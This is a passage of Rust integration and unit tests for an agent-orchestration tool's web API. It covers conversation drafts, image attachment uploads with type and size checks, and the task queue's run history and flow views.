9163 assert_eq!(second.status, 409, "{}", second.body);
9164 let saved = store
9165 .get(&id)
9166 .expect("draft remains after concurrent refusals");
9167 assert!(saved.turns.is_empty());
9168 assert_eq!(saved.pending, "saved before restart");
9169
9170 let resumed = f
9171 .post(&format!("/api/talks/{id}/pending/resume"), None)
9172 .await;
9173 assert_eq!(resumed.status, 202, "{}", resumed.body);
9174 let duplicate = f
9175 .post(&format!("/api/talks/{id}/pending/resume"), None)
9176 .await;
9177 assert_eq!(duplicate.status, 409, "{}", duplicate.body);
9178
9179 for _ in 0..SETTLE_STEPS {
9180 if store.get(&id).expect("talk").turns.len() == 2 {
9181 break;
9182 }
9183 tokio::time::sleep(Duration::from_millis(10)).await;
9184 }
9185 let finished = store.get(&id).expect("finished talk");
9186 assert_eq!(finished.turns.len(), 2, "{finished:?}");
9187 assert_eq!(finished.turns[0].body, "saved before restart");
9188 assert!(finished.pending.is_empty());
9189 }
9190
9191 #[tokio::test]
9192 async fn an_image_only_recovered_draft_resumes_without_text() {
9193 let (_tmp, _repo, f) = talk_fixture().await;
9194 let id = f.post("/api/talks", None).await.json()["id"]
9195 .as_str()
9196 .expect("id")
9197 .to_owned();
9198 let uploaded = f
9199 .post_bytes(
9200 &format!("/api/talks/{id}/attachments"),
9201 &[("Content-Type", "image/png"), ("X-Filename", "saved.png")],
9202 PNG_BYTES,
9203 )
9204 .await;
9205 assert_eq!(uploaded.status, 201, "{}", uploaded.body);
9206 let attachment = f
9207 .talks()
9208 .attachment_meta(&id, uploaded.json()["id"].as_str().expect("attachment id"))
9209 .expect("attachment metadata")
9210 .expect("stored attachment");
9211 let store = f.talks();
9212 let mut recovered = store.get(&id).expect("opened talk");
9213 talk::queue(&mut recovered, &store, "", vec![attachment]).expect("queue image only");
9214
9215 let resumed = f
9216 .post(&format!("/api/talks/{id}/pending/resume"), None)
9217 .await;
9218 assert_eq!(resumed.status, 202, "{}", resumed.body);
9219 for _ in 0..SETTLE_STEPS {
9220 if store.get(&id).expect("talk").turns.len() == 2 {
9221 break;
9222 }
9223 tokio::time::sleep(Duration::from_millis(10)).await;
9224 }
9225 let finished = store.get(&id).expect("finished talk");
9226 assert_eq!(finished.turns.len(), 2, "{finished:?}");
9227 assert!(finished.turns[0].body.is_empty());
9228 assert_eq!(finished.turns[0].attachments.len(), 1);
9229 assert!(finished.pending_attachments.is_empty());
9230 }
9231
9232 #[tokio::test]
9233 async fn closed_talk_refuses_pending_mutations_without_changing_the_record() {
9234 let (_tmp, _repo, f) = talk_fixture().await;
9235 let id = f.post("/api/talks", None).await.json()["id"]
9236 .as_str()
9237 .expect("id")
9238 .to_owned();
9239 let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
9240 assert_eq!(closed.status, 200, "{}", closed.body);
9241 let before_clear = serde_json::to_value(f.talks().get(&id).expect("closed talk"))
9242 .expect("serialize closed talk");
9243 for (path, body) in [
9244 (format!("/api/talks/{id}/pending/resume"), None),
9245 (
9246 format!("/api/talks/{id}/pending/clear"),
9247 Some(r#"{"expected_text":"","expected_attachments":[]}"#),
9248 ),
9249 (
9250 format!("/api/talks/{id}/pending/edit"),
9251 Some(r#"{"text":"x","expected_text":"","expected_attachments":[]}"#),
9252 ),
9253 (format!("/api/talks/{id}/say"), Some(r#"{"text":"x"}"#)),
9254 ] {
9255 let response = f.post(&path, body).await;
9256 assert_eq!(response.status, 409, "{}", response.body);
9257 }
9258 let after_clear = serde_json::to_value(f.talks().get(&id).expect("closed talk"))
9259 .expect("serialize closed talk");
9260 assert_eq!(
9261 after_clear, before_clear,
9262 "clear must not rewrite a closed talk"
9263 );
9264 }
9265
9266 const SLOW_MOCK_AGENT_TOML: &str = "[[agents]]\nid = \"mock\"\nkind = \"command\"\ncommand = [\"sh\", \"-c\", \"cat >/dev/null && sleep 0.3 && printf ok\"]\n";
9269
9270 #[tokio::test]
9271 async fn talks_report_independent_thinking_claims_and_queue_a_second_message() {
9272 let tmp = TempDir::new().expect("tempdir");
9273 let repo = tmp.path().join("repo");
9274 std::fs::create_dir_all(&repo).expect("repo dir");
9275 std::fs::write(repo.join("magi.toml"), SLOW_MOCK_AGENT_TOML).expect("write config");
9276 let f = Fixture::with_repo(repo).await;
9277 let id_a = f.post("/api/talks", None).await.json()["id"]
9278 .as_str()
9279 .unwrap()
9280 .to_owned();
9281 let id_b = f.post("/api/talks", None).await.json()["id"]
9282 .as_str()
9283 .unwrap()
9284 .to_owned();
9285
9286 let a = f
9287 .post(&format!("/api/talks/{id_a}/say"), Some(r#"{"text":"a"}"#))
9288 .await;
9289 assert_eq!(a.status, 202, "{}", a.body);
9290 assert_eq!(a.json()["thinking"], true);
9291 let b = f
9292 .post(&format!("/api/talks/{id_b}/say"), Some(r#"{"text":"b"}"#))
9293 .await;
9294 assert_eq!(b.status, 202, "{}", b.body);
9295 assert_eq!(b.json()["thinking"], true);
9296
9297 let listed = f.get("/api/talks").await.json();
9298 for id in [&id_a, &id_b] {
9299 let view = listed
9300 .as_array()
9301 .unwrap()
9302 .iter()
9303 .find(|talk| talk["id"] == *id)
9304 .unwrap();
9305 assert_eq!(view["thinking"], true, "{listed}");
9306 }
9307 let repeated = f
9308 .post(
9309 &format!("/api/talks/{id_a}/say"),
9310 Some(r#"{"text":"again"}"#),
9311 )
9312 .await;
9313 assert_eq!(repeated.status, 202, "{}", repeated.body);
9314 assert_eq!(repeated.json()["pending"], "again");
9315 }
9316
9317 const PNG_BYTES: &[u8] = b"\x89PNG\r\n\x1a\n\x00\x00\x00\x0dIHDR\x00\x00\x00\x01";
9320
9321 #[tokio::test]
9322 async fn a_png_attachment_upload_is_201_and_get_returns_it_with_nosniff() {
9323 let f = Fixture::start().await;
9324 let id = seed_talk(&f, "20260905-000000-a1b2", "open");
9325
9326 let res = f
9327 .post_bytes(
9328 &format!("/api/talks/{id}/attachments"),
9329 &[("Content-Type", "image/png"), ("X-Filename", "shot.png")],
9330 PNG_BYTES,
9331 )
9332 .await;
9333 assert_eq!(res.status, 201, "{}", res.body);
9334 let body = res.json();
9335 assert_eq!(body["name"], "shot.png");
9336 assert_eq!(body["mime"], "image/png");
9337 assert_eq!(body["bytes"], PNG_BYTES.len());
9338 let att_id = body["id"].as_str().expect("id").to_owned();
9339 assert_eq!(
9340 att_id.len(),
9341 32,
9342 "the id must never be a client-suppliable path: {att_id}"
9343 );
9344
9345 let got = f
9346 .get(&format!("/api/talks/{id}/attachments/{att_id}"))
9347 .await;
9348 assert_eq!(got.status, 200, "{}", got.body);
9349 assert_eq!(got.header("content-type"), Some("image/png"));
9350 assert_eq!(got.header("x-content-type-options"), Some("nosniff"));
9351 assert_eq!(got.bytes, PNG_BYTES);
9352 }
9353
9354 #[tokio::test]
9355 async fn an_svg_a_text_file_and_an_oversized_upload_are_all_4xx() {
9356 let f = Fixture::start().await;
9357 let id = seed_talk(&f, "20260905-000000-c3d4", "open");
9358
9359 let svg = f
9362 .post_bytes(
9363 &format!("/api/talks/{id}/attachments"),
9364 &[("Content-Type", "image/svg+xml")],
9365 b"<svg xmlns=\"http://www.w3.org/2000/svg\"></svg>",
9366 )
9367 .await;
9368 assert!(
9369 (400..500).contains(&svg.status),
9370 "svg must be refused: {} {}",
9371 svg.status,
9372 svg.body
9373 );
9374 assert!(svg.body.contains("SVG"), "{}", svg.body);
9375
9376 let text = f
9377 .post_bytes(
9378 &format!("/api/talks/{id}/attachments"),
9379 &[("Content-Type", "text/plain")],
9380 b"just some text",
9381 )
9382 .await;
9383 assert!(
9384 (400..500).contains(&text.status),
9385 "an unlisted type must be refused: {} {}",
9386 text.status,
9387 text.body
9388 );
9389
9390 let oversized = vec![0u8; ATTACHMENT_MAX_BYTES + 1];
9393 let big = f
9394 .post_bytes(
9395 &format!("/api/talks/{id}/attachments"),
9396 &[("Content-Type", "image/png")],
9397 &oversized,
9398 )
9399 .await;
9400 assert_eq!(
9401 big.status,
9402 StatusCode::PAYLOAD_TOO_LARGE.as_u16(),
9403 "{}",
9404 big.body
9405 );
9406 }
9407
9408 #[tokio::test]
9409 async fn a_mislabeled_upload_is_refused_even_though_the_declared_type_is_on_the_whitelist() {
9410 let f = Fixture::start().await;
9411 let id = seed_talk(&f, "20260905-000000-d4e5", "open");
9412
9413 let res = f
9416 .post_bytes(
9417 &format!("/api/talks/{id}/attachments"),
9418 &[("Content-Type", "image/png")],
9419 b"<html>not a picture</html>",
9420 )
9421 .await;
9422 assert!((400..500).contains(&res.status), "{}", res.body);
9423 }
9424
9425 #[tokio::test]
9426 async fn an_unknown_attachment_id_is_a_404() {
9427 let f = Fixture::start().await;
9428 let id = seed_talk(&f, "20260905-000000-e5f6", "open");
9429
9430 let res = f
9431 .get(&format!("/api/talks/{id}/attachments/{}", "0".repeat(32)))
9432 .await;
9433 assert_eq!(res.status, 404, "{}", res.body);
9434 }
9435
9436 #[tokio::test]
9437 async fn talk_say_with_only_an_attachment_and_no_body_is_accepted_and_persists() {
9438 let f = Fixture::start().await;
9439 let id = seed_talk(&f, "20260905-000000-f6a7", "open");
9440
9441 let uploaded = f
9442 .post_bytes(
9443 &format!("/api/talks/{id}/attachments"),
9444 &[("Content-Type", "image/png"), ("X-Filename", "shot.png")],
9445 PNG_BYTES,
9446 )
9447 .await;
9448 assert_eq!(uploaded.status, 201, "{}", uploaded.body);
9449 let att_id = uploaded.json()["id"].as_str().expect("id").to_owned();
9450
9451 let res = f
9452 .post(
9453 &format!("/api/talks/{id}/say"),
9454 Some(&format!(r#"{{"text":"","attachments":["{att_id}"]}}"#)),
9455 )
9456 .await;
9457 assert_eq!(res.status, 202, "{}", res.body);
9458 let queued = res.json();
9459 let turns = queued["turns"].as_array().expect("turns array");
9460 assert_eq!(
9461 turns.len(),
9462 1,
9463 "an empty body with an attachment is still a turn: {queued}"
9464 );
9465 assert_eq!(turns[0]["who"], "operator");
9466 assert_eq!(turns[0]["body"], "");
9467 let atts = turns[0]["attachments"]
9468 .as_array()
9469 .expect("attachments array");
9470 assert_eq!(atts.len(), 1);
9471 assert_eq!(atts[0]["id"], att_id);
9472 assert_eq!(atts[0]["mime"], "image/png");
9473
9474 let on_disk = f.talks().get(&id).expect("get");
9477 assert_eq!(on_disk.turns[0].attachments.len(), 1);
9478 assert_eq!(on_disk.turns[0].attachments[0].id, att_id);
9479 }
9480
9481 #[tokio::test]
9482 async fn saying_with_an_unknown_attachment_id_is_a_4xx_and_records_nothing() {
9483 let f = Fixture::start().await;
9484 let id = seed_talk(&f, "20260905-000000-a7b8", "open");
9485
9486 let res = f
9487 .post(
9488 &format!("/api/talks/{id}/say"),
9489 Some(&format!(
9490 r#"{{"text":"hi","attachments":["{}"]}}"#,
9491 "a".repeat(32)
9492 )),
9493 )
9494 .await;
9495 assert!((400..500).contains(&res.status), "{}", res.body);
9496 assert!(res.body.contains("unknown attachment"), "{}", res.body);
9497
9498 let on_disk = f.talks().get(&id).expect("get");
9499 assert!(
9500 on_disk.turns.is_empty(),
9501 "a rejected attachment id must not partially record the turn: {:?}",
9502 on_disk.turns
9503 );
9504 }
9505
9506 #[tokio::test]
9507 async fn talk_close_makes_the_talk_refuse_further_turns() {
9508 let f = Fixture::start().await;
9509 let id = seed_talk(&f, "20260904-014455-cd34", "open");
9510
9511 let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
9512 assert_eq!(closed.status, 200, "{}", closed.body);
9513 assert_eq!(closed.json()["status"], "closed");
9514
9515 let closed_again = f.post(&format!("/api/talks/{id}/close"), None).await;
9517 assert_eq!(closed_again.status, 200);
9518 assert_eq!(closed_again.json()["status"], "closed");
9519
9520 let said = f
9521 .post(
9522 &format!("/api/talks/{id}/say"),
9523 Some(r#"{"text":"too late"}"#),
9524 )
9525 .await;
9526 assert_eq!(said.status, 409, "{}", said.body);
9527 }
9528
9529 #[tokio::test]
9530 async fn talk_reopen_lets_a_closed_talk_take_turns_again_and_is_idempotent() {
9531 let (_tmp, _repo, f) = talk_fixture().await;
9532 let id = f.post("/api/talks", None).await.json()["id"]
9533 .as_str()
9534 .expect("id")
9535 .to_owned();
9536 let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
9537 assert_eq!(closed.status, 200, "{}", closed.body);
9538
9539 let reopened = f.post(&format!("/api/talks/{id}/reopen"), None).await;
9540 assert_eq!(reopened.status, 200, "{}", reopened.body);
9541 assert_eq!(reopened.json()["status"], "open");
9542
9543 let reopened_again = f.post(&format!("/api/talks/{id}/reopen"), None).await;
9545 assert_eq!(reopened_again.status, 200);
9546 assert_eq!(reopened_again.json()["status"], "open");
9547
9548 let said = f
9549 .post(
9550 &format!("/api/talks/{id}/say"),
9551 Some(r#"{"text":"still there?"}"#),
9552 )
9553 .await;
9554 assert_eq!(
9555 said.status, 202,
9556 "a reopened talk accepts turns again: {}",
9557 said.body
9558 );
9559 }
9560
9561 #[tokio::test]
9562 async fn talk_reopen_on_an_unknown_id_is_404() {
9563 let f = Fixture::start().await;
9564 let res = f.post("/api/talks/nonexistent-id/reopen", None).await;
9565 assert_eq!(res.status, 404, "{}", res.body);
9566 }
9567
9568 #[tokio::test]
9569 async fn talk_delete_removes_the_talk_from_disk_and_the_list() {
9570 let f = Fixture::start().await;
9571 let id = seed_talk(&f, "20260904-014455-ef56", "closed");
9572
9573 let deleted = f.delete(&format!("/api/talks/{id}")).await;
9574 assert_eq!(deleted.status, 204, "{}", deleted.body);
9575
9576 let after = f.get(&format!("/api/talks/{id}")).await;
9577 assert_eq!(after.status, 404, "{}", after.body);
9578
9579 let listed = f.get("/api/talks").await.json();
9580 assert!(
9581 listed.as_array().unwrap().iter().all(|t| t["id"] != id),
9582 "a deleted talk must not linger in the list: {listed}"
9583 );
9584 }
9585
9586 #[tokio::test]
9587 async fn talk_delete_on_an_unknown_id_is_404() {
9588 let f = Fixture::start().await;
9589 let res = f.delete("/api/talks/nonexistent-id").await;
9590 assert_eq!(res.status, 404, "{}", res.body);
9591 }
9592
9593 #[tokio::test]
9597 async fn task_detail_lists_every_run_with_what_kind_of_attempt_it_was() {
9598 let f = Fixture::start().await;
9599 let (a, b, gone) = (
9600 "20260902-140501-aaaa",
9601 "20260902-140502-bbbb",
9602 "20260902-140503-cccc",
9603 );
9604 write_run(&f.runs(), a, RunStatus::Stalled);
9605 let mut review = RunState::new(
9606 PathBuf::from("/repo/magi"),
9607 "main".to_owned(),
9608 "0123456789abcdef".to_owned(),
9609 "Review the work already on branch `magi/aaaa/A`. There is no task statement."
9610 .to_owned(),
9611 Config::default(),
9612 );
9613 review.id = b.to_owned();
9614 review.status = RunStatus::Merged;
9615 write_state(&f.runs(), &review);
9616
9617 let mut task = Task::new(
9618 "retry".to_owned(),
9619 "Do the thing".to_owned(),
9620 PathBuf::from("/repo/magi"),
9621 Source::Human,
9622 );
9623 task.start(a.to_owned());
9624 task.stall("quota");
9625 task.start(a.to_owned());
9626 task.start(b.to_owned());
9627 task.start(gone.to_owned());
9628 f.queue().put(&mut task).expect("file the task");
9629
9630 let res = f.get(&format!("/api/queue/{}", task.id)).await;
9631 assert_eq!(res.status, 200, "{}", res.body);
9632 let v = res.json();
9633 let h = v["history"].as_array().expect("history");
9634 assert_eq!(h.len(), 4, "{v}");
9635 assert_eq!(h[0]["kind"], "competition");
9636 assert_eq!(h[0]["status"], "stalled");
9637 assert_eq!(h[0]["provisional"], true, "a stall is never a decision");
9638 assert_eq!(h[1]["kind"], "resume", "{v}");
9639 assert!(
9640 h[0]["outcome"]
9641 .as_str()
9642 .unwrap()
9643 .contains("unknown. Pass #2"),
9644 "an earlier pass of a resumed run must not claim the final outcome: {v}"
9645 );
9646 assert!(
9647 !h[1]["outcome"].as_str().unwrap().contains("unknown."),
9648 "{v}"
9649 );
9650 assert!(
9651 !h[0]["outcome"].as_str().unwrap().contains("parked it"),
9652 "an unrecorded cause must not be narrated as an operator park: {v}"
9653 );
9654 assert_eq!(h[2]["kind"], "review");
9655 assert!(
9656 h[2]["description"]
9657 .as_str()
9658 .unwrap()
9659 .contains("magi/aaaa/A")
9660 );
9661 assert_eq!(h[2]["status"], "merged");
9662 assert_eq!(h[3]["readable"], false, "an unreadable run is shown");
9663 assert_eq!(v["runs_unreadable"], 1);
9664 let nodes = v["flow"]["nodes"].as_array().expect("flow nodes");
9665 assert_eq!(nodes.len(), 6, "start + four passes + end: {v}");
9666 assert_eq!(nodes[4]["note"], "unreadable");
9667 assert_eq!(v["flow"]["edges"].as_array().unwrap().len(), 5);
9668 assert_eq!(v["instruction"], "Do the thing");
9669 assert!(v["attempts_note"].as_str().unwrap().contains("handed back"));
9670
9671 let run = f.get(&format!("/api/runs/{a}")).await.json();
9673 assert_eq!(run["task"]["id"], task.id.as_str(), "{run}");
9674
9675 assert_eq!(f.get("/api/queue/nosuchtask").await.status, 404);
9676 }
9677
9678 fn flow_run(status: RunStatus, edit: impl FnOnce(&mut RunState)) -> RunState {
9679 let mut s = RunState::new(
9680 PathBuf::from("/repo/magi"),
9681 "main".to_owned(),
9682 "0123456789abcdef".to_owned(),
9683 "Do it".to_owned(),
9684 Config::default(),
9685 );
9686 s.status = status;
9687 edit(&mut s);
9688 s
9689 }
9690
9691 fn flow_task(runs: &[&str]) -> Task {
9692 let mut t = Task::new(
9693 "t".to_owned(),
9694 "Do it".to_owned(),
9695 PathBuf::from("/repo/magi"),
9696 Source::Human,
9697 );
9698 for r in runs {
9699 t.start((*r).to_owned());
9700 }
9701 t
9702 }
9703
9704 fn flow_for(task: &Task, states: &[(&str, Option<RunState>)]) -> FlowView {
9705 let h = task_history(task, |id| {
9706 states
9707 .iter()
9708 .find(|(i, _)| *i == id)
9709 .and_then(|(_, s)| s.clone())
9710 });
9711 task_flow(task, &h, 5)
9712 }
9713
9714 #[test]
9715 fn flow_opens_with_the_chat_that_queued_the_task() {
9716 let mut t = flow_task(&[]);
9717 t.source = Source::Agent {
9718 run: "a b/c".to_owned(),
9719 node: crate::queue::CHAT_NODE.to_owned(),
9720 };
9721 let f = flow_for(&t, &[]);
9722 assert_eq!(f.nodes[0].key, "chat");
9723 assert_eq!(f.nodes[0].kind, "chat");
9724 assert_eq!(
9725 f.nodes[0].label,
9726 format!("Chat {}", crate::queue::short("a b/c"))
9727 );
9728 assert_eq!(f.nodes[0].href.as_deref(), Some("#/chat/a%20b%2Fc"));
9729 assert_eq!(f.nodes[1].key, "start");
9730 assert_eq!(
9731 f.edges[0],
9732 FlowEdge {
9733 from: "chat".to_owned(),
9734 to: "start".to_owned(),
9735 label: "queued from chat".to_owned(),
9736 attempt: AttemptCost::None,
9737 }
9738 );
9739 }
9740
9741 #[test]
9742 fn flow_has_no_chat_box_for_other_sources() {
9743 for source in [
9744 Source::Human,
9745 Source::Issue {
9746 number: 3,
9747 repo: "o/r".to_owned(),
9748 },
9749 Source::Agent {
9750 run: "20260904-014455-ab12".to_owned(),
9751 node: "implement".to_owned(),
9752 },
9753 ] {
9754 let mut t = flow_task(&[]);
9755 t.source = source;
9756 let f = flow_for(&t, &[]);
9757 assert_eq!(f.nodes[0].key, "start");
9758 assert!(f.nodes.iter().all(|n| n.kind != "chat"));
9759 assert!(f.edges.iter().all(|e| e.from != "chat"));
9760 }
9761 }
9762
9763 const FA: &str = "20260902-140501-aaaa";
9764 const FB: &str = "20260902-140502-bbbb";
9765
9766 #[test]
9767 fn flow_follows_blocked_retry_merged_to_done() {
9768 let mut t = flow_task(&[FA, FB]);
9769 t.status = TaskStatus::Done;
9770 let f = flow_for(
9771 &t,
9772 &[
9773 (FA, Some(flow_run(RunStatus::Blocked, |_| {}))),
9774 (FB, Some(flow_run(RunStatus::Merged, |_| {}))),
9775 ],
9776 );
9777 let keys: Vec<_> = f.nodes.iter().map(|n| n.key.as_str()).collect();
9778 assert_eq!(keys, ["start", "run-1", "run-2", "end"]);
9779 assert_eq!(f.edges.len(), 3);
9780 assert_eq!(f.edges[0].label, "claimed");
9781 assert_eq!(f.edges[1].label, "blocked, attempt spent \u{2192} retry");
9782 assert_eq!(f.edges[1].attempt, AttemptCost::Spent);
9783 assert_eq!(f.edges[2].label, "merged \u{2192} done");
9784 assert_eq!(
9785 f.nodes[2].href.as_deref(),
9786 Some("#/runs/20260902-140502-bbbb")
9787 );
9788 assert!(f.nodes[2].decided);
9789 }
9790
9791 #[test]
9792 fn flow_quota_stall_is_refunded_and_never_decided_then_resumes() {
9793 let quota = || {
9794 flow_run(RunStatus::Stalled, |s| {
9795 s.quota.push(crate::run::QuotaLoss {
9796 seat: "judge-1".to_owned(),
9797 node: "judge".to_owned(),
9798 at: Timestamp::now(),
9799 reset: None,
9800 })
9801 })
9802 };
9803 let mut t = flow_task(&[FA, FA]);
9804 t.status = TaskStatus::Queued;
9805 let f = flow_for(&t, &[(FA, Some(quota()))]);
9806 assert_eq!(f.nodes.len(), 4, "a repeated id is one node per pass");
9807 assert_eq!(f.nodes[1].note, Some("interrupted"));
9808 assert_eq!(
9809 f.nodes[1].status, None,
9810 "no outcome copied onto an earlier pass"
9811 );
9812 assert_eq!(
9813 f.edges[1].attempt,
9814 AttemptCost::Unknown,
9815 "a resume does not prove the earlier pass was refunded"
9816 );
9817 assert!(f.edges[1].label.contains("resume the same run"));
9818 assert_eq!(f.edges[2].attempt, AttemptCost::Unknown);
9819 assert_eq!(
9820 f.edges[2].label,
9821 "stalled after a resume, refund unknown \u{2192} queued"
9822 );
9823 assert!(!f.nodes[2].decided, "a stall is not a decision");
9824 assert_eq!(f.nodes[2].note, Some("no verdict"));
9825 }
9826
9827 #[test]
9828 fn flow_single_pass_quota_stall_is_refunded() {
9829 let t = flow_task(&[FA]);
9830 let f = flow_for(
9831 &t,
9832 &[(
9833 FA,
9834 Some(flow_run(RunStatus::Stalled, |s| {
9835 s.quota.push(crate::run::QuotaLoss {
9836 seat: "judge-1".to_owned(),
9837 node: "judge".to_owned(),
9838 at: Timestamp::now(),
9839 reset: None,
9840 })
9841 })),
9842 )],
9843 );
9844 assert_eq!(f.edges[1].attempt, AttemptCost::Refunded);
9845 }
9846
9847 #[test]
9848 fn flow_parked_refunds_and_stall_without_quota_spends() {
9849 let mut t = flow_task(&[FA]);
9850 t.status = TaskStatus::Queued;
9851 let f = flow_for(
9852 &t,
9853 &[(
9854 FA,
9855 Some(flow_run(RunStatus::Implementing, |s| s.parked = true)),
9856 )],
9857 );
9858 assert_eq!(f.edges[1].label, "parked, attempt refunded \u{2192} queued");
9859 assert_eq!(f.edges[1].attempt, AttemptCost::Refunded);
9860 let f = flow_for(&t, &[(FA, Some(flow_run(RunStatus::Stalled, |_| {})))]);
9861 assert_eq!(f.edges[1].attempt, AttemptCost::Spent);
9862 assert!(!f.nodes[1].decided);
9863 }
9864
9865 #[test]
9866 fn flow_keeps_an_unreadable_run_as_its_own_node() {
9867 let t = flow_task(&[FA, FB]);
9868 let f = flow_for(&t, &[(FB, Some(flow_run(RunStatus::Blocked, |_| {})))]);
9869 assert_eq!(f.nodes[1].note, Some("unreadable"));
9870 assert!(!f.nodes[1].readable);
9871 assert_eq!(f.nodes[1].run_kind, Some("unknown"));
9872 assert_eq!(f.edges[1].attempt, AttemptCost::Unknown);
9873 }
9874
9875 #[test]
9876 fn flow_names_the_branch_of_a_review_only_run() {
9877 let t = flow_task(&[FA]);
9878 let f = flow_for(
9879 &t,
9880 &[(
9881 FA,
9882 Some(flow_run(RunStatus::Merged, |s| {
9883 s.instruction = "Review the work already on branch `magi/x/A`. Go.".to_owned()
9884 })),
9885 )],
9886 );
9887 assert_eq!(f.edges[0].label, "review-only run of branch magi/x/A");
9888 assert_eq!(
9889 f.nodes[1].detail.as_deref(),
9890 Some("review-only run of branch magi/x/A")
9891 );
9892 }
9893
9894 #[test]
9895 fn flow_ends_held_with_the_pr_left_open_and_flags_hand_edits() {
9896 let mut t = flow_task(&[FA]);
9897 t.status = TaskStatus::Held;
9898 let pr = crate::run::PrRecord {
9899 url: "https://example.test/pr/1".to_owned(),
9900 number: 1,
9901 state: "open".to_owned(),
9902 checks: "green".to_owned(),
9903 round: 0,
9904 rounds: 3,
9905 red_at_merge: Vec::new(),
9906 };
9907 let blocked = flow_run(RunStatus::Blocked, |s| s.pr = Some(pr));
9908 let f = flow_for(&t, &[(FA, Some(blocked.clone()))]);
9909 assert_eq!(f.edges[1].label, "blocked, PR left open \u{2192} held");
9910 t.status = TaskStatus::Done;
9911 let f = flow_for(&t, &[(FA, Some(blocked))]);
9912 assert_eq!(f.edges[1].label, "closed by hand: task is done");
9913 }
9914
9915 #[test]
9916 fn flow_with_no_runs_goes_from_queued_to_queued() {
9917 let t = flow_task(&[]);
9918 let f = flow_for(&t, &[]);
9919 assert_eq!(f.nodes.len(), 2);
9920 assert_eq!(f.edges.len(), 1);
9921 assert_eq!(f.edges[0].label, "no run yet \u{2192} queued");
9922 assert_eq!(f.edges[0].attempt, AttemptCost::None);
9923 }
9924
9925 #[test]
9928 fn a_parked_non_terminal_run_is_explained_as_parked() {
9929 let mut s = RunState::new(
9930 PathBuf::from("/repo/magi"),
9931 "main".to_owned(),
9932 "0123456789abcdef".to_owned(),
9933 "Do it".to_owned(),
9934 Config::default(),
9935 );
9936 s.status = RunStatus::Implementing;
9937 s.parked = true;
9938 let task = Task::new(
9939 "t".to_owned(),
9940 "Do it".to_owned(),
9941 PathBuf::from("/repo/magi"),
9942 Source::Human,
9943 );
9944 let v = task_run_view(
9945 "20260902-140501-aaaa",
9946 Some(&s),
9947 RunSlot {
9948 n: 1,
9949 resumed: false,
9950 resumed_later: None,
9951 prior: None,
9952 last: true,
9953 },
9954 &task,
9955 );
9956 assert!(v.outcome.contains("Parked"), "{}", v.outcome);
9957 }
9958
9959 fn earlier_pass_view(edit: impl FnOnce(&mut RunState)) -> TaskRunView {
9960 let mut s = flow_run(RunStatus::Implementing, edit);
9961 s.parked = false;
9962 let task = flow_task(&["20260902-140501-aaaa", "20260902-140501-aaaa"]);
9963 task_run_view(
9964 "20260902-140501-aaaa",
9965 Some(&s),
9966 RunSlot {
9967 n: 1,
9968 resumed: false,
9969 resumed_later: Some(2),
9970 prior: None,
9971 last: false,
9972 },
9973 &task,
9974 )
9975 }
9976
9977 #[test]
9978 fn an_earlier_pass_with_no_recorded_cause_is_unknown_not_parked() {
9979 let v = earlier_pass_view(|_| {});
9980 assert!(v.outcome.contains("not recorded"), "{}", v.outcome);
9981 assert!(v.outcome.contains("unknown"), "{}", v.outcome);
9982 assert!(!v.outcome.contains("parked it"), "{}", v.outcome);
9983 assert!(!v.outcome.contains("handed back."), "{}", v.outcome);
9984 assert_eq!(v.exit, RunExit::Interrupted);
9985 assert_eq!(v.attempt, AttemptCost::Unknown);
9986 }
9987
9988 #[test]
9989 fn an_earlier_pass_with_a_recorded_rate_limit_does_not_claim_it_as_the_cause() {
9990 let v = earlier_pass_view(|s| {
9991 s.quota.push(crate::run::QuotaLoss {
9992 seat: "judge-1".to_owned(),
9993 node: "judge".to_owned(),
9994 at: Timestamp::now(),
9995 reset: None,
9996 });
9997 });
9998 assert!(v.outcome.contains("may or may not"), "{}", v.outcome);
9999 assert!(v.outcome.contains("unknown"), "{}", v.outcome);
10000 assert_eq!(v.attempt, AttemptCost::Unknown);
10001 }
10002
10003 #[test]
10004 fn the_current_pass_states_its_recorded_cause_and_cost() {
10005 let slot = || RunSlot {
10006 n: 1,
10007 resumed: false,
10008 resumed_later: None,
10009 prior: None,
10010 last: true,
10011 };
10012 let task = flow_task(&["20260902-140501-aaaa"]);
10013 let parked = flow_run(RunStatus::Implementing, |s| s.parked = true);
10014 let v = task_run_view("20260902-140501-aaaa", Some(&parked), slot(), &task);
10015 assert_eq!(
10016 (v.exit, v.attempt),
10017 (RunExit::Parked, AttemptCost::Refunded)
10018 );
10019 let spent = flow_run(RunStatus::Blocked, |_| {});
10020 let v = task_run_view("20260902-140501-aaaa", Some(&spent), slot(), &task);
10021 assert_eq!(v.attempt, AttemptCost::Spent);
10022 assert!(v.outcome.contains("spent an attempt"), "{}", v.outcome);
10023 }
10024
10025 #[tokio::test]
10026 async fn holding_then_releasing_returns_a_task_to_the_loop_with_a_fresh_budget() {
10027 let f = Fixture::start().await;
10028 let queue = f.queue();
10029 let mut task = Task::new(
10030 "spent".to_owned(),
10031 "Try again".to_owned(),
10032 PathBuf::from("/repo/magi"),
10033 Source::Human,
10034 );
10035 task.start("20260902-140502-bbbb".to_owned());
10036 task.fail("agent gave up", 9);
10037 queue.put(&mut task).expect("file the task");
10038
10039 let held = f.post(&format!("/api/queue/{}/hold", task.id), None).await;
10040 assert_eq!(held.status, 200);
10041 assert_eq!(held.json()["status_str"], "held");
10042
10043 let released = f
10044 .post(&format!("/api/queue/{}/release", task.id), None)
10045 .await;
10046 assert_eq!(released.status, 200);
10047 assert_eq!(released.json()["status_str"], "queued");
10048 assert_eq!(
10049 released.json()["attempts"],
10050 0,
10051 "release is a real second chance, not an instant re-hold"
10052 );
10053 assert_eq!(
10054 queue.get(&task.id).expect("reload").status,
10055 TaskStatus::Queued,
10056 "the change is on disk, not only in the reply"
10057 );
10058 assert!(
10059 !f.home
10060 .path()
10061 .join("queue")
10062 .join(format!("{}.lock", task.id))
10063 .exists(),
10064 "the claim the mutation took is released again"
10065 );
10066 }
10067
10068 #[tokio::test]
10069 async fn a_task_a_daemon_is_running_cannot_be_changed_from_the_phone() {
10070 let f = Fixture::start().await;
10071 let queue = f.queue();
10072 let mut task = Task::new(
10073 "busy".to_owned(),
10074 "Running right now".to_owned(),
10075 PathBuf::from("/repo/magi"),
10076 Source::Human,
10077 );
10078 queue.put(&mut task).expect("file the task");
10079 let _claim = queue.claim(&task.id).expect("stand in for the daemon");
10080
10081 let res = f.post(&format!("/api/queue/{}/hold", task.id), None).await;
10082
10083 assert_eq!(res.status, 409);
10084 assert_eq!(
